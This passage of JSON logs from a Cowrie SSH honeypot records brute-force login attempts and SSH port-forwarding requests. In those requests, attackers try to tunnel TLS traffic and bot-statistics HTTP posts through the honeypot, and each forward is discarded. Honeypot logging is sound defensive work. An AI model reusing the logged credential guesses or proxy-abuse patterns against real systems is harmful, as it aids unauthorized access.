\\xc4\\xd1$(\\xbf^\\x80z\\xfeN\\xfb:C)\\x0f\\x92u\\xdd\\x8f\\x8f\\xf3\\xf9\\x94\\xfc\\xca\\x1e(\\x06RX\\xbc\\n\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03*\\x9a?\\xadn4\\xfe\\x04\\x8d\\x0c\\xfc\\xc7\\x13\\x99\\x9d\\x91\\x99\\xdfy\\n^9\\xb3\\xe4\\xa2z\\x07\\x1f\\xe3!\\x88\\x0b X\\xb1\\x83bn@\\x13D\\x87vo\\xed\\xc7\\xe0\\x8a\\xf7\\xf6r\\xaf\\x0c\\xa9\\xf1\\xe3m\\x00t\\x98\\x0c\\xe8$-*\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc4\\xd1$(\\xbf^\\x80z\\xfeN\\xfb:C)\\x0f\\x92u\\xdd\\x8f\\x8f\\xf3\\xf9\\x94\\xfc\\xca\\x1e(\\x06RX\\xbc\\n\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:14.592995Z","src_ip":"123.27.168.40","session":"0e628e542240","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rfkbyf","message":"login attempt [admin/rfkbyf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:14.712025Z","src_ip":"91.92.40.36","session":"27adc0708531","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:14.734856Z","src_ip":"45.153.34.195","session":"4665278a1a46","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:15.078771Z","session":"0e628e542240","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:15.330238Z","src_ip":"123.27.168.40","session":"0e628e542240","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x032D$\\x96\\'f\\xda\\xdbhfPI5\\x9c\\xe6\\xa4\\xda\\xb6l8\\xa93Uo\\x1f\\x7f\\xda\\xce\\t\\xbd2\\x8e \\r\\x9e\\x93Ak\\xe8\\x97W\\x87\\x0c\\x8du\\xf7g\\x85\\xf2\\xd4\\xf1\\xe7D\\xfb\\\\\\x079\\xff\\xbd9<[\\x9f\\x9bn\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 P\\x9a\\x07\\xfa]\\x08/\\x05\\x11\\xaat\\x84\\xa9S\\xab\\xf3\\x86W2\\xbc\\xd9\\xf6\\x0bG\\xfemz\\x15$L\\xac\\x17\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x032D$\\x96\\'f\\xda\\xdbhfPI5\\x9c\\xe6\\xa4\\xda\\xb6l8\\xa93Uo\\x1f\\x7f\\xda\\xce\\t\\xbd2\\x8e \\r\\x9e\\x93Ak\\xe8\\x97W\\x87\\x0c\\x8du\\xf7g\\x85\\xf2\\xd4\\xf1\\xe7D\\xfb\\\\\\x079\\xff\\xbd9<[\\x9f\\x9bn\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 P\\x9a\\x07\\xfa]\\x08/\\x05\\x11\\xaat\\x84\\xa9S\\xab\\xf3\\x86W2\\xbc\\xd9\\xf6\\x0bG\\xfemz\\x15$L\\xac\\x17\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:15.333523Z","src_ip":"123.27.168.40","session":"0e628e542240","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:15.414511Z","session":"7638a0408852","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:15.419031Z","session":"7638a0408852","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:15.452173Z","src_ip":"63.141.242.2","session":"7638a0408852","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/9.1.2 Safari/605.1.15\\r\\nConnection: keep-alive\\r\\nContent-Length: 1156\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=PlJRa3ZJUWpTZmJqdWEwdQ%3D%3DOCvFCnvJT6ZMqr0IY3QKoxUfNR4X%2FmCJ%2Fz8K2HUc5cfJZm57Od8KjpjJAHSpMPX5dBo0bUoJpeF5PViyqMqKUiYwSM0Ni0MJb0Tn7aqfqE0Vh6lwEbZhbIRERxdfLsmEc3JFBX4pZFptpiyGQJlehtamdwGgZ0n19gHUid48sOtJCwZiMmFjcCtYX4nMYml85eDAYRSXid1lzZdBFi3d9jH42Fa0S%2FmQNIr7qzS926uvBrHuiLGAK8TTAmN6GtOTeYCInAzSy4tjLHIhyhFWIPaPDL2gcnaD7FARyY%2FeTn9MkkhJdiB4agdzrLGR%2BKE9xgVMzf6Asjl89uq2SjTkxCwKZbS5psaqfhVCtNaMmYN6zCWTk487xlzTqHeTk%2B47K4UZ5YgU9EeKtivbIfE0EODnTrPMkrwHrG%2BjLp8%2FBUXT0gFDf4ljqHMoWZaQI4BCYb9WEiuYA1S%2FAkSeDgoS4TVeaEwXKjVFM7QElOm7YPIhRmuSzVVxOsYUDfJ8dpE95VYGANBArw3UCMIIlEFOjo2eaKbOpd%2F73uOIbCRXptzIfPUqsdUbp3cPnvDnDPX%2FYMlLuyt%2FAfDUyzgIMYGLardquACiIdvBYoLBn4XydzE3%2F3PaiKrpci8HDZ44VjlJDucwsXzqqyVA%2BbhuVaju2qX%2FtHlClLHBxgV%2FCWXUTrlOnwPUf87F8sZp7oOtlT7jA28ZKcb%2FFRUScjlQIyj27veP4sOsJ4%2FHdq4FJd%2FgTqCRKTowthdY7UbXT4C2Nsegu1V9IKKTyrh%2FdD8twxbc8pu6W8GkjtPC9FOMEG0VEwB3Dw0Gwxh1HfTCu%2B7a81x7H4%2BVu2tbZyEyO%2BH9jlhpsCFjpDYXa97xFQ36Gb9F1RrZyNGZUMciqC67vW3Xxa%2BPeaT4dGgrHaxdFW0U1O2B9MgZbFiwD3av8faZfxeu4nwta2XNpavnKtG%2B5mxutuQ7QGUmNqlJta3YpWNwrAotRyOsQYmPmC%2F4FoRTxUFylwAl%2B2NLsv4E%2B8obSpImolN8VoxvzHZmJ8atam2IOfjkWsHF0khXpDfp8JTjzn5Acls%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/9.1.2 Safari/605.1.15\\r\\nConnection: keep-alive\\r\\nContent-Length: 1156\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=PlJRa3ZJUWpTZmJqdWEwdQ%3D%3DOCvFCnvJT6ZMqr0IY3QKoxUfNR4X%2FmCJ%2Fz8K2HUc5cfJZm57Od8KjpjJAHSpMPX5dBo0bUoJpeF5PViyqMqKUiYwSM0Ni0MJb0Tn7aqfqE0Vh6lwEbZhbIRERxdfLsmEc3JFBX4pZFptpiyGQJlehtamdwGgZ0n19gHUid48sOtJCwZiMmFjcCtYX4nMYml85eDAYRSXid1lzZdBFi3d9jH42Fa0S%2FmQNIr7qzS926uvBrHuiLGAK8TTAmN6GtOTeYCInAzSy4tjLHIhyhFWIPaPDL2gcnaD7FARyY%2FeTn9MkkhJdiB4agdzrLGR%2BKE9xgVMzf6Asjl89uq2SjTkxCwKZbS5psaqfhVCtNaMmYN6zCWTk487xlzTqHeTk%2B47K4UZ5YgU9EeKtivbIfE0EODnTrPMkrwHrG%2BjLp8%2FBUXT0gFDf4ljqHMoWZaQI4BCYb9WEiuYA1S%2FAkSeDgoS4TVeaEwXKjVFM7QElOm7YPIhRmuSzVVxOsYUDfJ8dpE95VYGANBArw3UCMIIlEFOjo2eaKbOpd%2F73uOIbCRXptzIfPUqsdUbp3cPnvDnDPX%2FYMlLuyt%2FAfDUyzgIMYGLardquACiIdvBYoLBn4XydzE3%2F3PaiKrpci8HDZ44VjlJDucwsXzqqyVA%2BbhuVaju2qX%2FtHlClLHBxgV%2FCWXUTrlOnwPUf87F8sZp7oOtlT7jA28ZKcb%2FFRUScjlQIyj27veP4sOsJ4%2FHdq4FJd%2FgTqCRKTowthdY7UbXT4C2Nsegu1V9IKKTyrh%2FdD8twxbc8pu6W8GkjtPC9FOMEG0VEwB3Dw0Gwxh1HfTCu%2B7a81x7H4%2BVu2tbZyEyO%2BH9jlhpsCFjpDYXa97xFQ36Gb9F1RrZyNGZUMciqC67vW3Xxa%2BPeaT4dGgrHaxdFW0U1O2B9MgZbFiwD3av8faZfxeu4nwta2XNpavnKtG%2B5mxutuQ7QGUmNqlJta3YpWNwrAotRyOsQYmPmC%2F4FoRTxUFylwAl%2B2NLsv4E%2B8obSpImolN8VoxvzHZmJ8atam2IOfjkWsHF0khXpDfp8JTjzn5Acls%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:15.459957Z","src_ip":"63.141.242.2","session":"7638a0408852","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:15.628369Z","src_ip":"123.27.168.40","session":"0e628e542240","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":35302,"dst_ip":"10.17.0.5","dst_port":22,"session":"0607adb64c50","protocol":"ssh","message":"New connection: 45.153.34.195:35302 (10.17.0.5:22) [session: 0607adb64c50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:15.823839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:15.830601Z","src_ip":"45.153.34.195","session":"0607adb64c50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:15.968097Z","session":"7638a0408852","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:16.012563Z","src_ip":"63.141.242.2","session":"7638a0408852","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa1\\xe6\\xa3\\x10\\xaf{7N\\xcd\\x92\\xb0qz\\x11\\xd9\\x80\\xcdgKd\\xd5\\xd7e\\x1f_\\xf8\\xe2\\x86\\x8b\\x9f\\xd7\\xcb e\\xdf\\x17\\xd0H\\xc6LDi\\xa8\\xcc\\xef\\xa9M\\xa4\\xaa)b\\x12\\xb3\\x81\\x05W\\xb1\\xfd6qV\\x19D\\xb7P\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xcc\\xff\\xec\\x16+\\xc2%\\xef\\xec\\xba\\x01\\xe18L`FL\\xfe\\x8f\\x7f\\xd7\\x14\\xeb\\xc8\\xd6\\xc6\\x8aS\\xbfs.b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa1\\xe6\\xa3\\x10\\xaf{7N\\xcd\\x92\\xb0qz\\x11\\xd9\\x80\\xcdgKd\\xd5\\xd7e\\x1f_\\xf8\\xe2\\x86\\x8b\\x9f\\xd7\\xcb e\\xdf\\x17\\xd0H\\xc6LDi\\xa8\\xcc\\xef\\xa9M\\xa4\\xaa)b\\x12\\xb3\\x81\\x05W\\xb1\\xfd6qV\\x19D\\xb7P\\x00 